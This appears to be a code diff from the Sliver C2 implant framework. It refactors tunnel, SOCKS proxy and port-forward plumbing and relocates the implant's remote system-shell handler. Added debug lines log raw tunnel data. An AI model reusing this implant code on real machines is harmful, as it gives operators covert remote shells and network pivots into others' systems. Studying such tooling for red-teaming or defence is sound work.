log.Printf("[tcpproxy] Dialing implant to create tunnel ...")
@@ -185,7 +203,7 @@ func (p *ChannelProxy) dialImplant(ctx context.Context) (*Tunnel, error) {
return nil, err
}
log.Printf("[tcpproxy] Created new tunnel with id %d (session %s)", rpcTunnel.TunnelID, p.Session.ID)
tunnel := Tunnels.Start(rpcTunnel.TunnelID, rpcTunnel.SessionID)
tunnel := GetTunnels().Start(rpcTunnel.TunnelID, rpcTunnel.SessionID)
log.Printf("[tcpproxy] Binding tunnel to portfwd %d", p.Port())
portfwdResp, err := p.Rpc.Portfwd(ctx, &sliverpb.PortfwdReq{
@@ -219,7 +237,7 @@ func (p *ChannelProxy) dialTimeout() time.Duration {
return 30 * time.Second
}
func toImplantLoop(conn net.Conn, tunnel *Tunnel, errs chan<- error) {
func toImplantLoop(conn net.Conn, tunnel *TunnelIO, errs chan<- error) {
if wc, ok := conn.(*tcpproxy.Conn); ok && len(wc.Peeked) > 0 {
if _, err := tunnel.Write(wc.Peeked); err != nil {
errs <- err
@@ -232,7 +250,7 @@ func toImplantLoop(conn net.Conn, tunnel *Tunnel, errs chan<- error) {
errs <- err
}
func fromImplantLoop(conn net.Conn, tunnel *Tunnel, errs chan<- error) {
func fromImplantLoop(conn net.Conn, tunnel *TunnelIO, errs chan<- error) {
n, err := io.Copy(conn, tunnel)
log.Printf("[tcpproxy] Closing from-implant after %d byte(s)", n)
errs <- err
+70 -34
View File
@@ -20,11 +20,10 @@ package core
import (
"context"
"fmt"
"io"
"log"
"net"
"sync"
"sync/atomic"
"time"
"github.com/bishopfox/sliver/protobuf/clientpb"
@@ -37,16 +36,16 @@ import (
var (
// SocksProxies - Struct instance that holds all the portfwds
SocksProxies = socksProxy{
tcpProxies: map[int]*SocksProxy{},
tcpProxies: map[uint64]*SocksProxy{},
mutex: &sync.RWMutex{},
}
SocksConnPool = sync.Map{}
SocksProxyID = 0
SocksProxyID = (uint64)(0)
)
// PortfwdMeta - Metadata about a portfwd listener
type SocksProxyMeta struct {
ID int
ID uint64
SessionID string
BindAddr string
Username string
@@ -60,14 +59,28 @@ type TcpProxy struct {
Password string
BindAddr string
Listener net.Listener
stopChan bool
KeepAlivePeriod time.Duration
DialTimeout time.Duration
}
func (tcp *TcpProxy) Stop() error {
err := tcp.Listener.Close()
// Closing all connections in pool
SocksConnPool.Range(func(key, value interface{}) bool {
con := value.(net.Conn)
con.Close()
return err == nil
})
return err
}
// SocksProxy - Tracks portfwd<->tcpproxy
type SocksProxy struct {
ID int
ID uint64
ChannelProxy *TcpProxy
}
@@ -83,7 +96,7 @@ func (p *SocksProxy) GetMetadata() *SocksProxyMeta {
}
type socksProxy struct {
tcpProxies map[int]*SocksProxy
tcpProxies map[uint64]*SocksProxy
mutex *sync.RWMutex
}
@@ -91,6 +104,7 @@ type socksProxy struct {
func (f *socksProxy) Add(tcpProxy *TcpProxy) *SocksProxy {
f.mutex.Lock()
defer f.mutex.Unlock()
Sockser := &SocksProxy{
ID: nextSocksProxyID(),
ChannelProxy: tcpProxy,
@@ -101,49 +115,56 @@ func (f *socksProxy) Add(tcpProxy *TcpProxy) *SocksProxy {
}
func (f *socksProxy) Start(tcpProxy *TcpProxy) error {
proxy, err := tcpProxy.Rpc.SocksProxy(context.Background())
ctx, cancel := context.WithCancel(context.Background())
proxy, err := tcpProxy.Rpc.SocksProxy(ctx)
defer cancel()
if err != nil {
return err
}
go func() {
for !tcpProxy.stopChan {
for {
FromImplantSequence := 0
p, err := proxy.Recv()
socksData, err := proxy.Recv()
if err != nil {
log.Printf("Failed to Recv from proxy, %s\n", err)
return
}
if v, ok := SocksConnPool.Load(p.TunnelID); ok {
n := v.(net.Conn)
if p.CloseConn {
n.Close()
SocksConnPool.Delete(p.TunnelID)
if v, ok := SocksConnPool.Load(socksData.TunnelID); ok {
conn := v.(net.Conn)
if socksData.CloseConn {
conn.Close()
SocksConnPool.Delete(socksData.TunnelID)
continue
}
log.Printf("[socks] agent to Server To (Client to User) Data Sequence %d , Data Size %d \n", FromImplantSequence, len(p.Data))
log.Printf("[socks] agent to Server To (Client to User) Data Sequence %d , Data Size %d \n", FromImplantSequence, len(socksData.Data))
//fmt.Printf("recv data len %d \n", len(p.Data))
_, err := n.Write(p.Data)
_, err := conn.Write(socksData.Data)
if err != nil {
log.Printf("Failed to write data to proxy connection, %s\n", err)
continue
}
FromImplantSequence++
}
}
}()
for !tcpProxy.stopChan {
l, err := tcpProxy.Listener.Accept()
for {
connection, err := tcpProxy.Listener.Accept()
if err != nil {
return err
log.Printf("Failed to accept new listener, probably already closed: %s\n", err)
break
}
rpcSocks, err := tcpProxy.Rpc.CreateSocks(context.Background(), &sliverpb.Socks{
SessionID: tcpProxy.Session.ID,
})
if err != nil {
fmt.Println(err)
return err
log.Printf("Failed rcp call to create socks %s\n", err)
break
}
go connect(l, proxy, &sliverpb.SocksData{
go connect(connection, proxy, &sliverpb.SocksData{
Username: tcpProxy.Username,
Password: tcpProxy.Password,
TunnelID: rpcSocks.TunnelID,
@@ -151,17 +172,18 @@ func (f *socksProxy) Start(tcpProxy *TcpProxy) error {
})
}
log.Printf("Socks Stop -> %s\n", tcpProxy.BindAddr)
tcpProxy.Listener.Close()
tcpProxy.Stop() // well, at this moment we already in stop state, but anyway
proxy.CloseSend()
return nil
}
// Remove - Remove a TCP proxy instance
func (f *socksProxy) Remove(socksId int) bool {
func (f *socksProxy) Remove(socksId uint64) bool {
f.mutex.Lock()
defer f.mutex.Unlock()
if _, ok := f.tcpProxies[socksId]; ok {
f.tcpProxies[socksId].ChannelProxy.stopChan = true
f.tcpProxies[socksId].ChannelProxy.Stop()
delete(f.tcpProxies, socksId)
return true
}
@@ -179,9 +201,8 @@ func (f *socksProxy) List() []*SocksProxyMeta {
return socksProxy
}
func nextSocksProxyID() int {
SocksProxyID++
return SocksProxyID
func nextSocksProxyID() uint64 {
return atomic.AddUint64(&SocksProxyID, 1)
}
const leakyBufSize = 4108 // data.len(2) + hmacsha1(10) + data(4096)
@@ -192,6 +213,19 @@ func connect(conn net.Conn, stream rpcpb.SliverRPC_SocksProxyClient, frame *sliv
SocksConnPool.Store(frame.TunnelID, conn)
defer func() {
// It's neccessary to close and remove connection once we done with it
c, ok := SocksConnPool.LoadAndDelete(frame.TunnelID)
if !ok {
return
}
conn := c.(net.Conn)
conn.Close()
log.Printf("[socks] connection closed")
}()
log.Printf("tcp conn %q<--><-->%q \n", conn.LocalAddr(), conn.RemoteAddr())
buff := leakyBuf.Get()
@@ -199,11 +233,12 @@ func connect(conn net.Conn, stream rpcpb.SliverRPC_SocksProxyClient, frame *sliv
var ToImplantSequence uint64 = 0
for {
n, err := conn.Read(buff)
if err != nil {
if err == io.EOF {
return
}
continue
log.Printf("[socks] (User to Client) failed to read data, %s ", err)
// Error basically means that the connection is closed(EOF) OR deadline exceeded
// In any of that cases, it's better to just giveup
return
}
if n > 0 {
frame.Data = buff[:n]
@@ -211,6 +246,7 @@ func connect(conn net.Conn, stream rpcpb.SliverRPC_SocksProxyClient, frame *sliv
log.Printf("[socks] (User to Client) to Server to agent Data Sequence %d , Data Size %d \n", ToImplantSequence, len(frame.Data))
err := stream.Send(frame)
if err != nil {
log.Printf("[socks] (User to Client) failed to send data, %s ", err)
return
}
ToImplantSequence++
+44 -112
View File
@@ -1,130 +1,54 @@
package core
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"context"
"io"
"log"
"sync"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
var (
// Tunnels - Holds refs to all tunnels
Tunnels tunnels
)
// Holds the tunnels locally so we can map incoming data
// messages to the tunnel
type tunnels struct {
tunnels *map[uint64]*Tunnel
mutex *sync.RWMutex
stream rpcpb.SliverRPC_TunnelDataClient
}
// Get - Get a tunnel
func (t *tunnels) Get(tunnelID uint64) *Tunnel {
t.mutex.RLock()
defer t.mutex.RUnlock()
return (*t.tunnels)[tunnelID]
}
// Start - Add a tunnel to the core mapper
func (t *tunnels) Start(tunnelID uint64, sessionID string) *Tunnel {
t.mutex.Lock()
defer t.mutex.Unlock()
tunnel := &Tunnel{
ID: tunnelID,
SessionID: sessionID,
Send: make(chan []byte),
Recv: make(chan []byte),
}
(*t.tunnels)[tunnelID] = tunnel
go func() {
tunnel.IsOpen = true
for data := range tunnel.Send {
log.Printf("Send %d bytes on tunnel %d", len(data), tunnel.ID)
t.stream.Send(&sliverpb.TunnelData{
TunnelID: tunnel.ID,
SessionID: tunnel.SessionID,
Data: data,
})
}
}()
tunnel.Send <- make([]byte, 0) // Send "zero" message to bind client to tunnel
return tunnel
}
// Close - Close the tunnel channels
func (t *tunnels) Close(tunnelID uint64) {
log.Printf("Closing tunnel %d", tunnelID)
t.mutex.Lock()
defer t.mutex.Unlock()
tunnel := (*t.tunnels)[tunnelID]
if tunnel != nil {
delete((*t.tunnels), tunnelID)
tunnel.IsOpen = false
close(tunnel.Recv)
close(tunnel.Send)
}
}
// Tunnel - Duplex data tunnel
type Tunnel struct {
ID uint64
IsOpen bool
SessionID string
Send chan []byte
Recv chan []byte
}
// Write - Writer method for interface
func (tun *Tunnel) Write(data []byte) (int, error) {
log.Printf("Write %d bytes", len(data))
if !tun.IsOpen {
return 0, io.EOF
}
tun.Send <- data
n := len(data)
return n, nil
}
// Read - Reader method for interface
func (tun *Tunnel) Read(data []byte) (int, error) {
var buff bytes.Buffer
if !tun.IsOpen {
log.Printf("Warning: Read on closed tunnel %d", tun.ID)
return 0, io.EOF
}
recvData := <-tun.Recv
log.Printf("Read %d bytes", len(recvData))
buff.Write(recvData)
n := copy(data, buff.Bytes())
return n, nil
}
// TunnelLoop - Parses incoming tunnel messages and distributes them
// to session/tunnel objects
// Expected to be called only once during initialization
func TunnelLoop(rpc rpcpb.SliverRPCClient) error {
log.Println("Starting tunnel data loop ...")
defer log.Printf("Warning: TunnelLoop exited")
stream, err := rpc.TunnelData(context.Background())
ctx, cancel := context.WithCancel(context.Background())
stream, err := rpc.TunnelData(ctx)
defer cancel()
if err != nil {
return err
}
Tunnels = tunnels{
tunnels: &map[uint64]*Tunnel{},
mutex: &sync.RWMutex{},
stream: stream,
}
for {
// log.Printf("Waiting for TunnelData ...")
GetTunnels().SetStream(stream)
for {
log.Printf("Waiting for TunnelData ...")
incoming, err := stream.Recv()
// log.Printf("Recv stream msg: %v", incoming)
log.Printf("Recv stream msg: %v", incoming)
log.Printf("Recv stream err: %s", err)
if err == io.EOF {
log.Printf("EOF Error: Tunnel data stream closed")
return nil
@@ -133,16 +57,24 @@ func TunnelLoop(rpc rpcpb.SliverRPCClient) error {
log.Printf("Tunnel data read error: %s", err)
return err
}
// log.Printf("Received TunnelData for tunnel %d", incoming.TunnelID)
tunnel := Tunnels.Get(incoming.TunnelID)
log.Printf("Received TunnelData for tunnel %d", incoming.TunnelID)
tunnel := GetTunnels().Get(incoming.TunnelID)
if tunnel != nil {
data := incoming.GetData()
log.Printf("This is data on tunnel %d: %s", tunnel.ID, data)
if !incoming.Closed {
log.Printf("Received data on tunnel %d", tunnel.ID)
tunnel.Recv <- incoming.GetData()
err = tunnel.RecvData(data)
if err != nil {
log.Printf("Warning! Error sending data to tunnel %d, %v", tunnel.ID, err)
}
} else {
log.Printf("Closing tunnel %d", tunnel.ID)
tunnel.IsOpen = false
close(tunnel.Recv)
GetTunnels().Close(tunnel.ID)
}
} else {
log.Printf("Received tunnel data for non-existent tunnel id %d", incoming.TunnelID)
+146
View File
@@ -0,0 +1,146 @@
package core
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"errors"
"io"
"log"
"sync"
)
// TunnelIO - Duplex data tunnel, compatible with both io.ReadWriter
type TunnelIO struct {
ID uint64
SessionID string
Send chan []byte
Recv chan []byte
isOpen bool
mutex *sync.RWMutex
}
// NewTunnelIO - Single entry point for creating instance of new TunnelIO
func NewTunnelIO(tunnelID uint64, sessionID string) *TunnelIO {
log.Printf("New tunnel!: %d", tunnelID)
return &TunnelIO{
ID: tunnelID,
SessionID: sessionID,
Send: make(chan []byte),
Recv: make(chan []byte),
isOpen: false,
mutex: &sync.RWMutex{},
}
}
// Write - Writer method for interface
func (tun *TunnelIO) Write(data []byte) (int, error) {
if !tun.IsOpen() {
log.Printf("Warning: Write on closed tunnel %d", tun.ID)
return 0, io.EOF
}
// This is necessary to avoid any race conditions on thay byte array
dataCopy := make([]byte, len(data))
n := copy(dataCopy, data)
log.Printf("Write %d bytes", n)
log.Printf("This bytes is: %s", dataCopy)
tun.Send <- dataCopy
return n, nil
}
// Read - Reader method for interface
func (tun *TunnelIO) Read(data []byte) (int, error) {
recvData, ok := <-tun.Recv
if !ok {
log.Printf("Warning: Read on closed tunnel %d", tun.ID)
return 0, io.EOF
}
var buff bytes.Buffer
log.Printf("Read %d bytes", len(recvData))
buff.Write(recvData)
n := copy(data, buff.Bytes())
return n, nil
}
// Close - Close tunnel IO operations
func (tun *TunnelIO) Close() error {
tun.mutex.Lock()
defer tun.mutex.Unlock()
if !tun.isOpen {
log.Printf("Warning: Close on closed tunnel %d", tun.ID)
// I guess we can ignore it and don't return any error
return nil
}
log.Printf("Close tunnel %d", tun.ID)
tun.isOpen = false
close(tun.Recv)
close(tun.Send)
return nil
}
func (tun *TunnelIO) IsOpen() bool {
tun.mutex.RLock()
defer tun.mutex.RUnlock()
return tun.isOpen
}
func (tun *TunnelIO) Open() error {
tun.mutex.Lock()
defer tun.mutex.Unlock()
if tun.isOpen {
return errors.New("tunnel relady in open state")
}
log.Printf("Open tunnel %d", tun.ID)
tun.isOpen = true
return nil
}
// RecvData - safe way to send data to internal Recv channel. Blocking.
func (tun *TunnelIO) RecvData(data []byte) error {
tun.mutex.Lock()
defer tun.mutex.Unlock()
if !tun.isOpen {
return errors.New("closed tunnel")
}
tun.Recv <- data
return nil
}
+162
View File
@@ -0,0 +1,162 @@
package core
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"errors"
"log"
"sync"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
var (
// tunnelsStorage - Holds refs to all tunnels
tunnelsStorage *tunnels
tunnelsSingletonLock = &sync.Mutex{}
)
// GetTunnels - singleton function that returns or initializes all tunnels
func GetTunnels() *tunnels {
tunnelsSingletonLock.Lock()
defer tunnelsSingletonLock.Unlock()
if tunnelsStorage == nil {
log.Println("Creating single instance of tunnels.")
tunnelsStorage = &tunnels{
tunnels: &map[uint64]*TunnelIO{},
mutex: &sync.RWMutex{},
streamMutex: &sync.Mutex{},
}
}
return tunnelsStorage
}
// Holds the tunnels locally so we can map incoming data
// messages to the tunnel
type tunnels struct {
tunnels *map[uint64]*TunnelIO
mutex *sync.RWMutex
streamMutex *sync.Mutex
stream rpcpb.SliverRPC_TunnelDataClient
}
func (t *tunnels) SetStream(stream rpcpb.SliverRPC_TunnelDataClient) {
t.streamMutex.Lock()
defer t.streamMutex.Unlock()
log.Printf("Set stream")
t.stream = stream
}
// Get - Get a tunnel
func (t *tunnels) Get(tunnelID uint64) *TunnelIO {
t.mutex.RLock()
defer t.mutex.RUnlock()
log.Printf("Get tunnel %d", tunnelID)
return (*t.tunnels)[tunnelID]
}
// send - safe way to send a message to the stream
// protobuf stream allow only one writer at a time, so just in case there is a mutex for it
func (t *tunnels) send(tunnelData *sliverpb.TunnelData) error {
t.streamMutex.Lock()
defer t.streamMutex.Unlock()
if t.stream == nil {
return errors.New("uninitizlied stream")
}
log.Printf("Private send to stream, tunnelId: %d", tunnelData.TunnelID)
return t.stream.Send(tunnelData)
}
// Start - Add a tunnel to the core mapper
func (t *tunnels) Start(tunnelID uint64, sessionID string) *TunnelIO {
t.mutex.Lock()
defer t.mutex.Unlock()
tunnel := NewTunnelIO(tunnelID, sessionID)
(*t.tunnels)[tunnelID] = tunnel
go func(tunnel *TunnelIO) {
tunnel.Open()
log.Printf("Tunnel now is open, %d", tunnelID)
for data := range tunnel.Send {
log.Printf("Send %d bytes on tunnel %d", len(data), tunnel.ID)
err := t.send(&sliverpb.TunnelData{
TunnelID: tunnel.ID,
SessionID: tunnel.SessionID,
Data: data,
})
if err != nil {
log.Printf("Error sending, %s", err)
}
}
log.Printf("Tunnel Send channel looks closed now. %d", tunnelID)
}(tunnel)
tunnel.Send <- make([]byte, 0) // Send "zero" message to bind client to tunnel
return tunnel
}
// Close - Close the tunnel channels
func (t *tunnels) Close(tunnelID uint64) {
t.mutex.Lock()
defer t.mutex.Unlock()
log.Printf("Closing tunnel %d", tunnelID)
tunnel := (*t.tunnels)[tunnelID]
if tunnel != nil {
tunnel.Close()
delete((*t.tunnels), tunnelID)
}
}
// CloseForSession - closing all tunnels for specified session id
func (t *tunnels) CloseForSession(sessionID string) {
t.mutex.RLock()
defer t.mutex.RUnlock()
log.Printf("Closing all tunnels for session %s", sessionID)
for tunnelID, tunnel := range *t.tunnels {
if tunnel.SessionID == sessionID {
// Weird way to avoid deadlocks but let it be
go func(tunnelID uint64) {
GetTunnels().Close(tunnelID)
}(tunnelID)
}
}
}
+3 -3
View File
@@ -74,7 +74,7 @@ func (a *OperatorImplantBridge) register() {
if err != nil {
return
}
encrypted := util.Encrypt(data, []byte(a.Config.AESKey), nil)
encrypted := util.PreludeEncrypt(data, []byte(a.Config.AESKey), nil)
dataBuff := append([]byte(fmt.Sprintf("%x", encrypted)), "\n"...)
(*a.Conn).Write(dataBuff)
}
@@ -84,7 +84,7 @@ func (a *OperatorImplantBridge) ReceiveLoop() {
go func() {
for {
data := <-a.send
encrypted := util.Encrypt(data, []byte(a.Config.AESKey), nil)
encrypted := util.PreludeEncrypt(data, []byte(a.Config.AESKey), nil)
dataBuff := append([]byte(fmt.Sprintf("%x", encrypted)), "\n"...)
(*a.Conn).Write(dataBuff)
time.Sleep(time.Duration(a.PBeacon.Sleep))
@@ -105,7 +105,7 @@ func (a *OperatorImplantBridge) handleMessage(message string) {
if err != nil {
return
}
if err := json.Unmarshal(util.Decrypt(decoded, []byte(a.Config.AESKey)), &tempBeacon); err == nil {
if err := json.Unmarshal(util.PreludeDecrypt(decoded, []byte(a.Config.AESKey)), &tempBeacon); err == nil {
a.PBeacon.Links = a.PBeacon.Links[:0]
a.runLinks(&tempBeacon)
}
+1 -1
View File
@@ -20,7 +20,7 @@ set -e
# Creates the static go asset archives
GO_VER="1.18.2"
GO_VER="1.18.3"
GARBLE_VER="1.18.0"
GO_ARCH_1="amd64"
+6 -5
View File
@@ -325,11 +325,12 @@ func downloadHandler(data []byte, resp RPCResponse) {
gzipData := bytes.NewBuffer([]byte{})
gzipWrite(gzipData, rawData)
download = &sliverpb.Download{
Path: target,
Data: gzipData.Bytes(),
Encoder: "gzip",
Exists: true,
IsDir: isDir,
Path: target,
Data: gzipData.Bytes(),
Encoder: "gzip",
Exists: true,
IsDir: isDir,
Response: &commonpb.Response{},
}
} else {
download = &sliverpb.Download{Path: target, Exists: false}
@@ -111,6 +111,7 @@ func pivotStopListenerHandler(envelope *pb.Envelope, connection *transports.Conn
return
}
pivots.StopListener(req.ID)
pivots.RemoveListener(req.ID)
connection.Send <- &pb.Envelope{
ID: envelope.ID,
Data: []byte{},
+6 -448
View File
@@ -19,36 +19,24 @@ package handlers
*/
import (
"context"
"fmt"
"io"
"net"
"sync"
"time"
// {{if .Config.Debug}}
"log"
// {{end}}
"github.com/bishopfox/sliver/implant/sliver/shell"
"github.com/bishopfox/sliver/implant/sliver/transports"
"github.com/bishopfox/sliver/implant/sliver/handlers/tunnel_handlers"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/things-go/go-socks5"
"google.golang.org/protobuf/proto"
)
var (
tunnelHandlers = map[uint32]TunnelHandler{
sliverpb.MsgShellReq: shellReqHandler,
sliverpb.MsgPortfwdReq: portfwdReqHandler,
sliverpb.MsgSocksData: socksReqHandler,
sliverpb.MsgShellReq: tunnel_handlers.ShellReqHandler,
sliverpb.MsgPortfwdReq: tunnel_handlers.PortfwdReqHandler,
sliverpb.MsgSocksData: tunnel_handlers.SocksReqHandler,
sliverpb.MsgTunnelData: tunnelDataHandler,
sliverpb.MsgTunnelClose: tunnelCloseHandler,
sliverpb.MsgTunnelData: tunnel_handlers.TunnelDataHandler,
sliverpb.MsgTunnelClose: tunnel_handlers.TunnelCloseHandler,
}
// TunnelID -> Sequence Number -> Data
tunnelDataCache = map[uint64]map[uint64]*sliverpb.TunnelData{}
)
// GetTunnelHandlers - Returns a map of tunnel handlers
@@ -58,433 +46,3 @@ func GetTunnelHandlers() map[uint32]TunnelHandler {
// {{end}}
return tunnelHandlers
}
func tunnelCloseHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
tunnelClose := &sliverpb.TunnelData{
Closed: true,
}
proto.Unmarshal(envelope.Data, tunnelClose)
tunnel := connection.Tunnel(tunnelClose.TunnelID)
if tunnel != nil {
// {{if .Config.Debug}}
log.Printf("[tunnel] Closing tunnel with id %d", tunnel.ID)
// {{end}}
connection.RemoveTunnel(tunnel.ID)
tunnel.Reader.Close()
tunnel.Writer.Close()
delete(tunnelDataCache, tunnel.ID)
}
}
func tunnelDataHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
tunnelData := &sliverpb.TunnelData{}
proto.Unmarshal(envelope.Data, tunnelData)
tunnel := connection.Tunnel(tunnelData.TunnelID)
if tunnel != nil {
if _, ok := tunnelDataCache[tunnelData.TunnelID]; !ok {
tunnelDataCache[tunnelData.TunnelID] = map[uint64]*sliverpb.TunnelData{}
}
// Since we have no guarantees that we will receive tunnel data in the correct order, we need
// to ensure we write the data back to the reader in the correct order. The server will ensure
// that TunnelData protobuf objects are numbered in the correct order using the Sequence property.
// Similarly we ensure that any data we write-back to the server is also numbered correctly. To
// reassemble the data, we just dump it into the cache and then advance the writer until we no longer
// have sequential data. So we can receive `n` number of incorrectly ordered Protobuf objects and
// correctly write them back to the reader.
// {{if .Config.Debug}}
log.Printf("[tunnel] Cache tunnel %d (seq: %d)", tunnel.ID, tunnelData.Sequence)
// {{end}}
//Added a thread lock here because the incrementing of the ReadSequence, adding/deleting things from a shared cache,
//and then making decisions based on the current size of the cache by multiple threads can cause race conditions errors
var l sync.Mutex
l.Lock()
tunnelDataCache[tunnel.ID][tunnelData.Sequence] = tunnelData
// NOTE: The read/write semantics can be a little mind boggling, just remember we're reading
// from the server and writing to the tunnel's reader (e.g. stdout), so that's why ReadSequence
// is used here whereas WriteSequence is used for data written back to the server
// Go through cache and write all sequential data to the reader
cache := tunnelDataCache[tunnel.ID]
for recv, ok := cache[tunnel.ReadSequence]; ok; recv, ok = cache[tunnel.ReadSequence] {
// {{if .Config.Debug}}
log.Printf("[tunnel] Write %d bytes to tunnel %d (read seq: %d)", len(recv.Data), recv.TunnelID, recv.Sequence)
// {{end}}
tunnel.Writer.Write(recv.Data)
// Delete the entry we just wrote from the cache
delete(cache, tunnel.ReadSequence)
tunnel.ReadSequence++ // Increment sequence counter
}
//If cache is building up it probably means a msg was lost and the server is currently hung waiting for it.
//Send a Resend packet to have the msg resent from the cache
if len(cache) > 3 {
data, err := proto.Marshal(&sliverpb.TunnelData{
Sequence: tunnel.WriteSequence, // The tunnel write sequence
Ack: tunnel.ReadSequence,
Resend: true,
TunnelID: tunnel.ID,
Data: []byte{},
})
if err != nil {
// {{if .Config.Debug}}
log.Printf("[shell] Failed to marshal protobuf %s", err)
// {{end}}
} else {
// {{if .Config.Debug}}
log.Printf("[tunnel] Requesting resend of tunnelData seq: %d", tunnel.ReadSequence)
// {{end}}
connection.RequestResend(data)
}
}
//Unlock
l.Unlock()
} else {
// {{if .Config.Debug}}
log.Printf("[tunnel] Received data for nil tunnel %d", tunnelData.TunnelID)
// {{end}}
}
}
// tunnelWriter - Sends data back to the server based on data read()
// I know the reader/writer stuff is a little hard to keep track of
type tunnelWriter struct {
tun *transports.Tunnel
conn *transports.Connection
}
func (tw tunnelWriter) Write(data []byte) (int, error) {
n := len(data)
data, err := proto.Marshal(&sliverpb.TunnelData{
Sequence: tw.tun.WriteSequence, // The tunnel write sequence
Ack: tw.tun.ReadSequence,
TunnelID: tw.tun.ID,
Data: data,
})
// {{if .Config.Debug}}
log.Printf("[tunnelWriter] Write %d bytes (write seq: %d) ack: %d", n, tw.tun.WriteSequence, tw.tun.ReadSequence)
// {{end}}
tw.tun.WriteSequence++ // Increment write sequence
tw.conn.Send <- &sliverpb.Envelope{
Type: sliverpb.MsgTunnelData,
Data: data,
}
return n, err
}
func shellReqHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
shellReq := &sliverpb.ShellReq{}
err := proto.Unmarshal(envelope.Data, shellReq)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[shell] Failed to unmarshal protobuf %s", err)
// {{end}}
return
}
shellPath := shell.GetSystemShellPath(shellReq.Path)
systemShell := shell.StartInteractive(shellReq.TunnelID, shellPath, shellReq.EnablePTY)
if systemShell == nil {
// {{if .Config.Debug}}
log.Printf("[shell] Failed to get system shell")
// {{end}}
return
}
go systemShell.StartAndWait()
// Wait for the process to actually spawn
for {
if systemShell.Command.Process == nil {
// {{if .Config.Debug}}
log.Printf("[shell] Waiting for process to spawn ...")
// {{end}}
time.Sleep(time.Second)
} else {
break
}
}
tunnel := &transports.Tunnel{
ID: shellReq.TunnelID,
Reader: systemShell.Stdout,
Writer: systemShell.Stdin,
}
connection.AddTunnel(tunnel)
shellResp, _ := proto.Marshal(&sliverpb.Shell{
Pid: uint32(systemShell.Command.Process.Pid),
Path: shellReq.Path,
TunnelID: shellReq.TunnelID,
})
connection.Send <- &sliverpb.Envelope{
ID: envelope.ID,
Data: shellResp,
}
// Cleanup function with arguments
cleanup := func(reason string) {
// {{if .Config.Debug}}
log.Printf("[shell] Closing tunnel %d (%s)", tunnel.ID, reason)
// {{end}}
connection.RemoveTunnel(tunnel.ID)
tunnelClose, _ := proto.Marshal(&sliverpb.TunnelData{
Closed: true,
TunnelID: tunnel.ID,
})
connection.Send <- &sliverpb.Envelope{
Type: sliverpb.MsgTunnelClose,
Data: tunnelClose,
}
}
go func() {
for {
tWriter := tunnelWriter{
tun: tunnel,
conn: connection,
}
_, err := io.Copy(tWriter, tunnel.Reader)
if systemShell.Command.ProcessState != nil {
if systemShell.Command.ProcessState.Exited() {
cleanup("process terminated")
return
}
}
if err == io.EOF {
cleanup("EOF")
return
}
}
}()
// {{if .Config.Debug}}
log.Printf("[shell] Started shell with tunnel ID %d", tunnel.ID)
// {{end}}
}
func portfwdReqHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
portfwdReq := &sliverpb.PortfwdReq{}
err := proto.Unmarshal(envelope.Data, portfwdReq)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[portfwd] Failed to unmarshal protobuf %s", err)
// {{end}}
return
}
var defaultDialer = new(net.Dialer)
// TODO: Configurable context
remoteAddress := fmt.Sprintf("%s:%d", portfwdReq.Host, portfwdReq.Port)
// {{if .Config.Debug}}
log.Printf("[portfwd] Dialing -> %s", remoteAddress)
// {{end}}
dst, err := defaultDialer.DialContext(context.Background(), "tcp", remoteAddress)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[portfwd] Failed to dial remote address %s", err)
// {{end}}
return
}
if conn, ok := dst.(*net.TCPConn); ok {
// {{if .Config.Debug}}
log.Printf("[portfwd] Configuring keep alive")
// {{end}}
conn.SetKeepAlive(true)
// TODO: Make KeepAlive configurable
conn.SetKeepAlivePeriod(30 * time.Second)
}
// Add tunnel
tunnel := &transports.Tunnel{
ID: portfwdReq.TunnelID,
Reader: dst,
Writer: dst,
}
connection.AddTunnel(tunnel)
// Send portfwd response
portfwdResp, _ := proto.Marshal(&sliverpb.Portfwd{
Port: portfwdReq.Port,
Host: portfwdReq.Host,
Protocol: sliverpb.PortFwdProtoTCP,
TunnelID: portfwdReq.TunnelID,
})
connection.Send <- &sliverpb.Envelope{
ID: envelope.ID,
Data: portfwdResp,
}
cleanup := func(reason error) {
// {{if .Config.Debug}}
log.Printf("[portfwd] Closing tunnel %d (%s)", tunnel.ID, reason)
// {{end}}
connection.RemoveTunnel(tunnel.ID)
tunnelClose, _ := proto.Marshal(&sliverpb.TunnelData{
Closed: true,
TunnelID: tunnel.ID,
})
connection.Send <- &sliverpb.Envelope{
Type: sliverpb.MsgTunnelClose,
Data: tunnelClose,
}
}
go func() {
tWriter := tunnelWriter{
tun: tunnel,
conn: connection,
}
